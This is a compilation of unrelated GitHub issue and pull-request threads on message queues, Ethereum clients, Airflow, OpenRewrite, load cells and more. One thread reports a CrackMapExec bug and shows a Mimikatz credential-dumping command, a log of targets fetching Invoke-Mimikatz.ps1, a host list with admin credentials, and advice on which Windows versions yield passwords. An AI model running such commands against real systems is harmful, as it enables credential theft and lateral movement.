[2016-06-01 10:36:31:114965] DEBUG [stomp::session] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/session.rs:125: Frame buffer length: 0
[2016-06-01 10:36:31:114998] INFO [stomp::session] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/session.rs:139: Read 125 bytes
[2016-06-01 10:36:31:115005] DEBUG [stomp::frame_buffer] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/frame_buffer.rs:91: Copied 125 bytes into the frame buffer.
[2016-06-01 10:36:31:115012] DEBUG [stomp::session] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/session.rs:143: Reading from frame buffer
[2016-06-01 10:36:31:115017] DEBUG [stomp::frame_buffer] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/frame_buffer.rs:103: Parsing command.
[2016-06-01 10:36:31:115022] DEBUG [stomp::frame_buffer] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/frame_buffer.rs:204: Found command ending @ index 5
[2016-06-01 10:36:31:115027] DEBUG [stomp::frame_buffer] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/frame_buffer.rs:176: Removed 6 bytes from frame buffer, new size: 1
19
[2016-06-01 10:36:31:115034] DEBUG [stomp::frame_buffer] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/frame_buffer.rs:208: Chomped length: 5
[2016-06-01 10:36:31:115039] DEBUG [stomp::frame_buffer] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/frame_buffer.rs:217: Command -> 'ERROR'
[2016-06-01 10:36:31:127990] DEBUG [stomp::frame_buffer] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/frame_buffer.rs:116: Parsing headers.
[2016-06-01 10:36:31:128009] DEBUG [stomp::frame_buffer] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/frame_buffer.rs:227: Found header ending @ index 25
[2016-06-01 10:36:31:128016] DEBUG [stomp::frame_buffer] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/frame_buffer.rs:176: Removed 26 bytes from frame buffer, new size:
93
[2016-06-01 10:36:31:128041] DEBUG [stomp::frame_buffer] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/frame_buffer.rs:231: Header -> 'message:connection_forced'
[2016-06-01 10:36:31:128051] DEBUG [stomp::header] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/header.rs:75: Recycling Header: message:connection_forced
[2016-06-01 10:36:31:128056] DEBUG [stomp::frame_buffer] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/frame_buffer.rs:227: Found header ending @ index 23
[2016-06-01 10:36:31:128061] DEBUG [stomp::frame_buffer] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/frame_buffer.rs:176: Removed 24 bytes from frame buffer, new size:
69
[2016-06-01 10:36:31:128066] DEBUG [stomp::frame_buffer] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/frame_buffer.rs:231: Header -> 'content-type:text/plain'
[2016-06-01 10:36:31:128072] DEBUG [stomp::header] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/header.rs:75: Recycling Header: content-type:text/plain
[2016-06-01 10:36:31:128077] DEBUG [stomp::frame_buffer] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/frame_buffer.rs:227: Found header ending @ index 19
[2016-06-01 10:36:31:128081] DEBUG [stomp::frame_buffer] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/frame_buffer.rs:176: Removed 20 bytes from frame buffer, new size:
49
[2016-06-01 10:36:31:128086] DEBUG [stomp::frame_buffer] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/frame_buffer.rs:231: Header -> 'version:1.0,1.1,1.2'
[2016-06-01 10:36:31:128092] DEBUG [stomp::header] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/header.rs:75: Recycling Header: version:1.0,1.1,1.2
[2016-06-01 10:36:31:128156] DEBUG [stomp::frame_buffer] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/frame_buffer.rs:227: Found header ending @ index 17
[2016-06-01 10:36:31:128163] DEBUG [stomp::frame_buffer] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/frame_buffer.rs:176: Removed 18 bytes from frame buffer, new size:
31
[2016-06-01 10:36:31:128168] DEBUG [stomp::frame_buffer] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/frame_buffer.rs:231: Header -> 'content-length:29'
[2016-06-01 10:36:31:128174] DEBUG [stomp::header] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/header.rs:75: Recycling Header: content-length:29
[2016-06-01 10:36:31:128179] DEBUG [stomp::frame_buffer] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/frame_buffer.rs:227: Found header ending @ index 0
[2016-06-01 10:36:31:128184] DEBUG [stomp::frame_buffer] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/frame_buffer.rs:176: Removed 1 bytes from frame buffer, new size: 3
0
[2016-06-01 10:36:31:128189] DEBUG [stomp::frame_buffer] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/frame_buffer.rs:231: Header -> ''
[2016-06-01 10:36:31:128193] DEBUG [stomp::frame_buffer] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/frame_buffer.rs:133: Parsing body.
[2016-06-01 10:36:31:128199] DEBUG [stomp::frame_buffer] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/frame_buffer.rs:256: Reading body by content length.
[2016-06-01 10:36:31:128203] DEBUG [stomp::frame_buffer] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/frame_buffer.rs:176: Removed 30 bytes from frame buffer, new size:
0
[2016-06-01 10:36:31:128208] DEBUG [stomp::frame_buffer] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/frame_buffer.rs:264: Body -> 'Closed via management plugin
'
[2016-06-01 10:36:31:128219] DEBUG [stomp::session] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/session.rs:147: Received frame!:
ERROR
message:connection_forced
content-type:text/plain
version:1.0,1.1,1.2
content-length:29

Closed via management plugin

[2016-06-01 10:36:31:128226] DEBUG [stomp::session] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/session.rs:263: Resetting heartbeat rx timeout

Conclusion

When you start multiple subscriptions, reconnection only starts when there are no consumers left.
But why do the remaining connections/consumers do not receive any messages any more?

In my worker I subscribe to the queues here via my wrapper that uses stomp-rs.
@zslayton Do you have any idea what might be causing this?

Based on some cursory googling, it looks like RabbitMQ sends that message when it wants to shut down a client connection, either because of an error on the server's end or due to client inactivity.
It looks like you're not using a Heartbeat in your session. Try that out -- it should prevent the server from considering that connection idle.

@zslayton I should use a heartbeat, good idea. I could definitely solve my problem. But I think there is still some unintentional behaviour. I'll try to follow with an example.

But I think there is still some unintentional behaviour. I'll try to follow up with an example.

That's likely -- there's plenty of room for improvement with regards to error handling at the moment. I'm planning to work on that after I get v0.12.0 out the door. Minimal examples would be very helpful, thank you.

Heartbeat did help me out, no more problems, thanks!


regex fixed to match number >9

While testing the changes I tried to do I found a bug. If the numbers of changed (create, destroy, update) resources exceed 9 the regex will not find them causing the code to never even look for the end line.

For this to have been found it would be a good idea to add the warnings into the features to be tested, though that is a little over my ability.


on teku, pre genesis, an error is thrown

Mai 26 10:21:19 ethnode-7451d4c7 eth2stats-client[21290]: time="2020-05-26T10:21:19+02:00" level=info msg="[core] getting beacon client version"
Mai 26 10:21:19 ethnode-7451d4c7 eth2stats-client[21290]: time="2020-05-26T10:21:19+02:00" level=info msg="[core] got beacon client version" version=teku/v0.11.3-dev-44d9e02a/linux-aarch_64/-ubuntu-
Mai 26 10:21:19 ethnode-7451d4c7 eth2stats-client[21290]: time="2020-05-26T10:21:19+02:00" level=info msg="[core] getting beacon client genesis time"
Mai 26 10:21:19 ethnode-7451d4c7 eth2stats-client[21290]: time="2020-05-26T10:21:19+02:00" level=error msg="[main] setting up: strconv.ParseInt: parsing "": invalid syntax"

it should be able to deal with this and retry until everything is ok

looks like it cannot parse an empty genesis_time in
https://github.com/Alethio/eth2stats-client/blob/master/beacon/teku/teku.go#L41
which is reported as long as teku hasn't found the genesis time yet.

v0.0.10 should pass over this a little bit better


Template builder: Create template start screen

Use wireframe as reference to build up the 3 buttons - make sure spacing is correct
https://github.com/CDLUC3/dmsp_frontend_prototype/pull/162#discussion_r1835174950

Looks like this was a dupe, closing the other: https://github.com/CDLUC3/dmsp_frontend_prototype/issues/84


Exception on Mimikatz module

Getting this with the latest 4.0 rev:
----------------------------------------
Exception happened during processing of request from ('<IP_ADDRESS>', 56503)
Traceback (most recent call last):
  File "/usr/lib/python2.7/SocketServer.py", line 290, in _handle_request_noblock
    self.process_request(request, client_address)
  File "/usr/lib/python2.7/SocketServer.py", line 318, in process_request
    self.finish_request(request, client_address)
  File "/usr/lib/python2.7/SocketServer.py", line 331, in finish_request
    self.RequestHandlerClass(request, client_address, self)
  File "/usr/lib/python2.7/SocketServer.py", line 652, in __init__
    self.handle()
  File "/usr/lib/python2.7/BaseHTTPServer.py", line 340, in handle
    self.handle_one_request()
  File "/usr/lib/python2.7/BaseHTTPServer.py", line 328, in handle_one_request
    method()
  File "/usr/lib/python2.7/site-packages/crackmapexec-4.0.0.dev0-py2.7.egg/cme/servers/http.py", line 28, in do_POST
    self.server.module.on_response(self.server.context, self)
  File "/usr/lib/python2.7/site-packages/crackmapexec-4.0.0.dev0-py2.7.egg/cme/modules/mimikatz.py", line 198, in on_response
    hostid = context.db.get_computers(response.client_address[0])[0][0]
IndexError: list index out of range
----------------------------------------

This happened on 29/30 systems I targeted today,and cme hung with "waiting on 29..." message on repeat.
Any more info I can provide to help?

Can you give me all the info thats requested in the Issue template?
thanks

Steps to reproduce

Run the command referenced below
Observe results

Command string used
cme smb  -u 'user' -p 'pass' -M mimikatz
CME verbose output (using the --verbose flag)
https://gist.github.com/cclements/09c6db6a010acab7f6bd345e21973636
OS
Arch Linux
Target OS
See debug output
Detailed issue explanation

From the error it seems like its unable to pull the host id from the database.
Out of curiousity can you run cmedb``->proto smb->hosts``` and paste the output?
Thanks for the report btw

Not sure if it's the issue, but it looks like the target name's are being entered as IPs, but the console log during the run references the IP addresses, e.g.:
MIMIKATZ    <IP_ADDRESS>                          [*] - - "GET /Invoke-Mimikatz.ps1 HTTP/1.1" 200 -
Hosts:

  HostID  Admins         IP               Hostname                 Domain           OS
  ------  ------         --               --------                 ------           --
  1       1 Cred(s)      <IP_ADDRESS>      CDC01                  TEST             Windows Server 2008 R2 Standard 7601 Service Pack 1
  2       1 Cred(s)      CDC01.sometarget.com CDC01                  TEST             Windows Server 2008 R2 Standard 7601 Service Pack 1
  3       1 Cred(s)      CDC03.sometarget.com CDC03                  TEST             Windows Server 2008 R2 Standard 7601 Service Pack 1
  4       1 Cred(s)      CDC02.sometarget.com CDC02                  TEST             Windows Server 2008 R2 Standard 7601 Service Pack 1
  5       1 Cred(s)      ACTSMPROX.sometarget.comACTSMPROX              TEST             Windows Server 2008 R2 Standard 7601 Service Pack 1
  6       1 Cred(s)      ACTSMAD.sometarget.comACTSMAD                TEST             Windows Server 2008 R2 Standard 7601 Service Pack 1
  7       1 Cred(s)      CQAS01.sometarget.comCQAS01                 TEST             Windows Server 2012 R2 Standard 9600
  8       1 Cred(s)      SRV2.sometarget.comSRV2               TEST             Windows Server (R) 2008 Standard 6002 Service Pack 2
  9       1 Cred(s)      SRV3.sometarget.comSRV3               TEST             Windows Server (R) 2008 Standard 6002 Service Pack 2
  10      1 Cred(s)      SRV1.sometarget.comSRV1               TEST             Windows Server (R) 2008 Standard 6002 Service Pack 2
  11      1 Cred(s)      TLPORTAL.sometarget.comTLPORTAL                 TEST             Windows Server 2012 R2 Standard 9600
  12      1 Cred(s)      ACTSM1.sometarget.comACTSM1                 TEST             Windows Server 2008 R2 Enterprise 7601 Service Pack 1
  13      1 Cred(s)      ACDRTSM1.sometarget.comACDRTSM1               TEST             Windows Server 2008 R2 Enterprise 7601 Service Pack 1
  14      1 Cred(s)      TLCANISTER.sometarget.comTLCANISTER               TEST             Windows Server 2012 R2 Standard 9600
  15      1 Cred(s)      AC29.sometarget.com  AC29                   TEST             Windows Server 2012 Standard 9200
  16      1 Cred(s)      ACSEPM.sometarget.comACSEPM                 TEST             Windows Server 2012 R2 Standard 9600
  17      1 Cred(s)      CDRDC01.sometarget.comCDRDC01                TEST             Windows Server 2008 R2 Standard 7601 Service Pack 1
  18      1 Cred(s)      JUMP.sometarget.comJUMP               TEST             Windows Server 2012 R2 Standard 9600
  19      1 Cred(s)      AC51.sometarget.com  AC51                   TEST             Windows Server (R) 2008 Enterprise 6002 Service Pack 2
  20      1 Cred(s)      CIVRTST02.sometarget.comCIVRTST02              TEST             Windows Server 2012 R2 Standard 9600
  21      1 Cred(s)      CIVRTST01.sometarget.comCIVRTST01              TEST             Windows Server 2012 R2 Standard 9600
  22      1 Cred(s)      CCOGNOS01.sometarget.comCCOGNOS01              TEST             Windows Server 2012 R2 Standard 9600
  23      1 Cred(s)      SRV7.sometarget.comSRV7               TEST             Windows Server (R) 2008 Standard 6002 Service Pack 2
  24      1 Cred(s)      ACCOG01.sometarget.comACCOG01                TEST             Windows Server (R) 2008 Standard without Hyper-V 6002 Service Pack 2
  25      1 Cred(s)      SRV5.sometarget.comSRV5               TEST             Windows Server (R) 2008 Standard 6002 Service Pack 2
  26      1 Cred(s)      SRV4.sometarget.comSRV4               TEST             Windows Server (R) 2008 Standard 6002 Service Pack 2
  27      1 Cred(s)      SRV6.sometarget.comSRV6               TEST             Windows Server (R) 2008 Standard 6002 Service Pack 2
  28      1 Cred(s)      CAZDC01.sometarget.comCAZDC01                TEST             Windows Server 2008 R2 Standard 7601 Service Pack 1
  29      1 Cred(s)      JUMPDR.sometarget.comJUMPDR             TEST             Windows Server 2012 R2 Standard 9600
  30      1 Cred(s)      NTISCISVR3V.sometarget.comNTISCISVR3V              TEST             Windows Server 2008 R2 Standard 7601 Service Pack 1

huh interesting.
Yup that definitely seems to be the issue.
Are you providing hostname's instead of IP's as targets for CME by any chance?
Could be a bug the hostname translation logic

Also just fyi (unless you redacted the OS's) seems like most of the OS's are >= Windows 2008R2, which won't give you creds with mimikatz

Yeah, all the failed targets were specified in the command with the fqdn's.  Thanks for the heads up about >2k8R2, I knew about that limitation, this was just a quick spray and pray after I cracked an admin pass during an engagement.

cool thats definitely the issue then, should be able to push out a fix later today.
Cheers

@cclements should be fixed now. Re-open otherwise.
Thanks!


AIRFLOW-23: Support for Google Cloud DataProc

Dear Airflow Maintainers,
Please accept this PR that addresses the following issues:

AIRFLOW-23

Spark, Hadoop, PySpart, SparkSQL, Pig an Hive support of DataProc cluster

Some docs would be useful: 1) Update an .rst with how to use this stuff, and 2) doc strings for the classes would be good.
I think (1) might be addressed by AIRFLOW-159, so I'm OK if you want to wait until that JIRA to do the .rst update, but I think the doc strings would be helpful in this PR.

This looks fantastic. I had a few minor nits, but structurally everything is perfect. If you make the tweaks, I'm ready to commit.

@criccomini Ready?

yes, ready


Let the user know when "setup" has completed...

Let the user know when "setup" has completed...
closes #81

@aniketmaurya @lantiga is this the right place for this?

@williamFalcon yes, but I'd suggest using print instead of log here. Otherwise, whether it should print or not will depend on the user's default logging level. print will make sure that it always prints in the user's terminal.


power builds in TravisCI

Fixes #301

Codecov Report

Merging #303 (dfeb8f6) into master (a582254) will increase coverage by 0.01%.
The diff coverage is n/a.

:exclamation: Current head dfeb8f6 differs from pull request most recent head 9c1ed81. Consider uploading reports for the commit 9c1ed81 to get more accurate results

@@            Coverage Diff             @@
##           master     #303      +/-   ##
==========================================
+ Coverage   96.21%   96.22%   +0.01%
==========================================
  Files         296      296
  Lines       14894    14522     -372
==========================================
- Hits        14330    13974     -356
+ Misses        564      548      -16

Impacted Files
Coverage Δ

lib/3scale_toolbox/entities/base_entity.rb
70.83% <0.00%> (-2.25%)
:arrow_down:

lib/3scale_toolbox/crds/limit_dump.rb
70.58% <0.00%> (-1.64%)
:arrow_down:

lib/3scale_toolbox/crds/pricing_rule_dump.rb
70.58% <0.00%> (-1.64%)
:arrow_down:

lib/3scale_toolbox/crds/mapping_rule_dump.rb
90.90% <0.00%> (-0.76%)
:arrow_down:

...b/3scale_toolbox/crds/backend_mapping_rule_dump.rb
90.90% <0.00%> (-0.76%)
:arrow_down:

lib/3scale_toolbox/crds/product_dump.rb
97.36% <0.00%> (-0.51%)
:arrow_down:

...oolbox/commands/policies_command/export_command.rb
88.23% <0.00%> (-0.45%)
:arrow_down:

...t_command/openapi/update_service_oidc_conf_step.rb
94.73% <0.00%> (-0.27%)
:arrow_down:

...oolbox/commands/policies_command/import_command.rb
94.28% <0.00%> (-0.16%)
:arrow_down:

lib/3scale_toolbox/openapi/swagger.rb
96.10% <0.00%> (-0.15%)
:arrow_down:

... and 133 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update a582254...9c1ed81. Read the comment docs.


General Usage / Potential Questions

Hi,
Firstly, would it be possible to enable GitHub Discussions? It would be good to have discussions without spamming the issues page.
My question is, what is the main difference between this an cardano-ogmios? For what I can see, Oura has a lot more features but is fundamentally the same. As in, if I wanted a replacement for db-sync then both of these are good options. I've asked about Ogmios and they said the only difficulty I would have is that I wouldn't be able to retrieve historical reward calculations. I haven't used Ogmios yet, but from what I understand I can still save the rewards calculation but only from the latest calculation.
Apart from the lack of Byron era support, is there anything in Oura that's missing that db-sync has? I'm looking into using Oura for a full Cardano Blockchain explorer.
Thanks!

hi @CyberCyclone thanks for the suggestion, I have enabled Github Discussion.
Ogmios and Oura are similar in the sense that they both serve as an interface to a Cardano node without having to deal with the Ouroboros protocol directly, but they serve very different use-cases IMO.

Ogmios is much more flexible, you can interact with any of the mini-protocols provided by the node (AFAIK) at a very low-level. In contrast, Oura is optimized for a particular use-case: moving on-chain data to a different storage / service.
With Ogmios, you have to define your own control-flow (how and when to call the node). In Oura, you define the initial parameters and then you "react" to the outbound data, the control-flow is handled internally.
Oura is much more opinionated, it provides built-in integrations with the external services it can interact with (you can always add your own). Ogmios is agnostic of the destination of the data.

Please take the above with a grain of salt. I'm confident in the description I gave for Oura, but I don't consider myself a valid interlocutor for Ogmios, please DYOR.
Feel free to open a discussion to continue the conversation, I think it's a very relevant topic to discuss.

Awesome, thanks for that @scarmuega. Oura looks more like what I'm after then.


Included missing commonJS library

The example app relies on the commonJS library that is included in the
repository. But if, by any chance, the developer forgets to include it
into the example app. The application won’t even start.

Thank you :)


OnMapReady of SupportMapFragment not been invoked

After Downloading the Tiles and loading the map Offline, If we make the app online and then offline after that if you navigate to the Map page , The map doesn't load.
On debugging we found in the above scenario also the GetMapAsync() is being called but we are not getting the OnMapReady() call back. Even the base  OnMapReady() is not being invoked
Naxam.Mapbox.Droid version used is <IP_ADDRESS>
Device tested:  lenovo k6 Power
OS: android
Steps to Trigger Behavior

Launch the app online
Click on Navigate to the Map page
Click on Offline storage and download to download the tiles.
After the above is completed navigate the back.
Make the app offline and navigate to the map page, You can see the map loads.
Navigate back make the app online and then offline after a few seconds.
Navigate back to the map page.
You will see the map doesn't load

Link to Demonstration
https://drive.google.com/open?id=1cWMxQrCvFwiecmNX0rMPBhBti1_psFoJ
Expected Behavior
From the user perspective the map should load.
From Dev perspective  since the below code is getting executed
             fragment = new MapViewFragment();
            activity.SupportFragmentManager.BeginTransaction()
            .Replace(view.Id, fragment)
            .CommitAllowingStateLoss();
            fragment.GetMapAsync(this);

We expect the OnMapReady() callback should be invoked
Actual Behavior
The Map doesn't load.
neither the OnMapReady() call back nor the OnMapReady() override is been called.
Note:- At step 6 we saw the following in the output. Not sure it is relevant.
05-11 12:59:41.198 I/mbgl    ( 4437): {DefaultFileSour}[Database]: Unable to make space for entry

Hi,
Plz check out our latest sample.
Things work well as dozen of samples were ported from Android samples.
Cheers.


Unable to open pages other pages

hi,
Only home page is opening other pages like Home
Orders
Products
Customer
Settings
Tax Settings
Login are not opening....getting error.

I have updated the readme file.
You need to create a virtualhost as mentioned in readme


Improved method to determine if virtual.

Virtualization detection was failing for stewards, in one case
fatally.  Rewrote it in a more robust manner.

Looks ok. I'd like to get some of the virtualization detection refactored in the future though, to avoid parsing dmesg.


Fix typo in README deployment commands

Fixing a small typo in the README 😄

Thanks for the PR, sorry it took so long to get merged. It's been merged with the develop branch and will be in master after the next release of cf-mysql.


Update SA1404 to treat "" justification as missing

Visual Studio creates SuppressMessage attributes with a default justification value of <Pending>. For the purpose of SA1404, we should treat this value as equivalent to the empty string.

Grabbed


Update agent and itests to inv 0.8.0-Final where feeds moved out of environments.

travis failed, but i don't care. I'm merging this. @ppalaga  found that the failures are due to the welcome message not getting sent first thing and the tests don't expect that. we will fix that in the future. for now, this is getting merged so I can release the agent


Redundant line

This line (current line 20):
const res = await msg.channel.messages.fetch({ limit: 10 });
is redundant as when you want to get the last messages you have a function that does it anyway. Line 29 and 36.

Oh wow. How did I not see that!
Thanks


ShortenFullyQualifiedTypeReferences adds superfluous annotations

What version of OpenRewrite are you using?
8.13.0-SNAPSHOT
I do not have a minimal example yet, however, it fails as follows.
I suspect the issue might be because org.openrewrite.java.JavaVisitor#usedTypes does not account for type annotations, however, I am not sure.
Input file: https://github.com/pgjdbc/pgjdbc/blob/0b0f4ce6ed89c6acd73ecb8c8ca416b850e45454/pgjdbc/src/main/java/org/postgresql/jdbc/PgConnection.java
Execution log
Changes have been made to pgjdbc/src/main/java/org/postgresql/jdbc/PgConnection.java by:
    org.openrewrite.staticanalysis.MissingOverrideAnnotation
        io.github.pgjdbc.staticanalysis.CodeCleanup
            org.openrewrite.java.format.MethodParamPad
            org.openrewrite.staticanalysis.EqualsAvoidsNull
            org.openrewrite.staticanalysis.ExplicitInitialization
            org.openrewrite.java.ShortenFullyQualifiedTypeReferences

If I exclude ShortenFullyQualifiedTypeReferences from my configuration, then duplicate @Nullable annotations are not added (in fact, none of them added, and only @Override is added as it was missing)
Problematic diff:
@@ -488,6 +499,9 @@ public class PgConnection implements BaseConnection {
   private final TimestampUtils timestampUtils;

   @Deprecated
+  @Nullable
+  @Nullable
+  @Override
   public TimestampUtils getTimestampUtils() {
     return timestampUtils;
   }
@@ -534,10 +548,16 @@ public class PgConnection implements BaseConnection {
     return typemap;
   }

+  @Nullable
+  @Nullable
+  @Override
   public QueryExecutor getQueryExecutor() {
     return queryExecutor;
   }

+  @Nullable
+  @Nullable
+  @Override
   public ReplicationProtocol getReplicationProtocol() {
     return queryExecutor.getReplicationProtocol();
   }
@@ -1012,10 +1041,16 @@ public class PgConnection implements BaseConnection {
     }
   }

+  @Nullable
+  @Nullable
+  @Override
   public TransactionState getTransactionState() {
     return queryExecutor.getTransactionState();
   }

+  @Nullable
+  @Nullable
+  @Override
   public int getTransactionIsolation() throws SQLException {
     checkClosed();
+  @Nullable
+  @Nullable
+  @Override
   public void setTransactionIsolation(int level) throws SQLException {
     checkClosed();

@@ -1084,11 +1122,17 @@ public class PgConnection implements BaseConnection {
     }
   }

+  @Nullable
+  @Nullable
+  @Override
   public void setCatalog(String catalog) throws SQLException {
     checkClosed();
     // no-op
   }

+  @Nullable
+  @Nullable
+  @Override
   public String getCatalog() throws SQLException {
     checkClosed();
     return queryExecutor.getDatabase();

@vlsi Thank you for reporting the issue -- it would greatly appreciate to have a test that reproduces the issue. Sometimes the community links us to the branch of project where the issue occurs, which is also fine. I can quickly identify the source of the problem if I know what to run that will recreate the problem.

The code is at https://github.com/pgjdbc/pgjdbc/pull/2979
To reproduce it you need to un-comment both rules https://github.com/vlsi/pgjdbc/blob/1c1100988fa5fc6d3a428b19b5430eaef811ee06/config/openrewrite/rewrite.yml#L62-L65
and execute ./gradlew --refresh-dependencies rewriteRun.
However, I just tried rerunning it, and it does NOT reproduce the issue of unexpected @Nullable annotations.
Maybe the recent fixes in snapshot somehow healed this issue.
However, https://github.com/openrewrite/rewrite/issues/3870 still reproduces.
@@ -1174,7 +1196,7 @@ public class PgConnection implements BaseConnection {
   }

   // This is a cache of the DatabaseMetaData instance for this connection
-  protected java.sql.@Nullable DatabaseMetaData metadata;
+  protected @NullableDatabaseMetaData metadata;

Closing as the issue does not reproduce with the latest snapshot.

Thanks for retesting.


Drifting Values

Hello,
I am using this library for ESP32 and the values drifted to negative 2 (-2.63) over 30 minutes. Is there any possible solutions to fix the drifting issues? Sometimes it will gain additional value but I am wondering if there is a legitimate way to deal with the offset.
Thanks.
EDIT: I am using the newest file: Testing.ino and have calibrated my scale.

Hi!
Drift or creep is a known problem with load-cells and unfortunately there is no quick fix for it that I know of.
My understanding is as follow:

Drift is mostly caused by temperature variations in the load-cell body and in the HX711 chip itself
Creep is caused by (large) changes in mass on the load-cell and as result the material deflects and continue to deflect a tiny amount further before it more or less stabilizes itself after some time

The following measures could provide some improvement:

Get a better more "high end" load-cell
Make some sort of temperature compensation
I think (not sure) selecting a load cell that is close to the range that you will use it for is better with respect to Drift, as variations in the differencial voltage will have less impact on the output, e.g. don't use a 10kg load-cell if you dont need to measure more than 2kg

You will find more info about this online.

Thanks for the response! Was wondering if you have any papers to refer to for both drift and creep?
Also, for 'temperature compensation', do you know of any formulas circulated in the forum?
And looks like I am using a 10kg load cell to detect something light and small which isn't advised in point 3.
Thanks so much for helping :)

Sorry but I don't have any particular references on this, I don't use load cells for applications where drift/creep over time is of any real consequence. But you are not alone in having this problem, so if you search online you will find lots of information.

Hi there,
at Hiveeyes, we do have an application where drift, creep and temperature compensation is much of a concern to us because the scale is "always loaded forever" ;]. You might enjoy our discussions at [1,2,3].
While some contents are in German, you will be able to use a convenient translation feature after signing up to the forum.
With kind regards,
Andreas.
[1] https://community.hiveeyes.org/search?q=drift
[2] https://community.hiveeyes.org/search?q=creep
[3] https://community.hiveeyes.org/search?q=compensation
cc @ClemensGruber

Many thanks for sharing! Will have a look at it :)


Backport #11624: Objective C memory leak GRPCOpSendMetadata

Metadata elements slices need to be unreffed when the object is dealloced.
Backports #11624
Fixes #11494

Failed tests:
gRPC_interop_pull_requests - #10686 #10455


SPC_AFTER_POINTER issue

Describe the bug
Pointer seems to be found when we try to multiply a char or a string.
'char' * int -> raise error
int * 'char' -> works
Erroneous code
int	main(void)
{
	int	a;

	a = 'l' * 2;
	return (0);
}

Additional infos

OS: Ubuntu 20.10
python --version: 3.8.6
norminette -v: 3.2.3

Additional context
Found on line 56 versus 46.

https://github.com/42School/norminette/pull/101
PR associated to the bug.


Add support for CSXGate().inverse()

I realized it is actually pretty easy to add support for CSXGate().inverse() (#309).  I considered adding a release note but decided against it, as this is pretty obscure.  But hey, this PR eliminates the one known exception where we know the KAK code would fail.  Fixes #309.

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

6 of 6 (100.0%)  changed or added relevant lines in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.02%) to 91.86%

Totals

Change from base Build<PHONE_NUMBER>:
0.02%

Covered Lines:
2934

Relevant Lines:
3194

💛  - Coveralls


'Enter key' breaks formatting

Hi, I found an issue related to 'Enter key'.
How to reproduce it:

Paste formatted text
Delete some lines
Set the cursor at the end of the line and press the Enter key
Formatting from the text is removed

I recorded the problem on the example showcase. The video is available here:  https://youtu.be/ufvRPNEVrqA
Cheers

I can't reproduce this issue in either Firefox or Chrome (copying from the same source). That said, hitting enter splits the block and moves the second half into a new block with the default style. So if there was block level formatting being applied, this won't apply to the section after the break. This is expected behaviour.

I'm a little confused at the expectation that pressing enter can reformat content after the cursor position. That seems deeply counterintuitive to me, and does not match any behavior I've seen in word processors, etc. It is trivial to replicate this - copy and paste from e.g. a Wikipedia page, place cursor inside a paragraph, press enter and it happens consistently - and the effect is quite clear.
To my mind, rather than moving post-cursor content to a new default block, making the new block a copy of the one the cursor was in makes more sense. At the very least some effort at copying style attributes over from the split block should be made, so that style remains at least somewhat consistent.


Metadata autocomplete labels with @ symbol

I find it confusing that the metadata autocomplete labels are missing their @ symbol.
Before commit https://github.com/andywang425/vscode-scriptmonkey/commit/945764c63600f5856b63251dae8c92338867f9f2 they were part of the label, but removed for some reason.

As you can see in above screenshot, the @ts-* autocompletions are prefixed with the @ symbol.
Probably because of that, they get a higher sorting then Scriptmonkey autocompletions.
Another reason is that metadata like name are too generic and could be suggested by other extensions.
Great extension 👍

Thanks for your feedback. I forget why i removed @ from the labels, but i will bring it back in the next version.

I think it was changed to make it the trigger for autocomplete, and with the label you would probably get double @-characters. Which makes sense.
You can however add the symbol back to the label and append an innerText-property without the symbol (as you've already done for other items).

My idea is to change the following line
https://github.com/andywang425/vscode-scriptmonkey/blob/945764c63600f5856b63251dae8c92338867f9f2/src/providers/Completion/GMmetaCompletionProvider.ts#L12
to this:
const completionItem = new vscode.CompletionItem('@' + item.label, item.kind);

By doing so,  we don't have to add a innerText property for each item.


[Feature] Create the dockerfile to write

This seems like it is good! Now we can start creating the Dockerfile!


Tutorial: integrate external extractors with DeepDive

Nigam Shah made the point that we should make it easier for people to integrate external extractors that they written in DeepDive. In antiquity, this was actually the first design of DeepDive, but now it is quite mysterious....
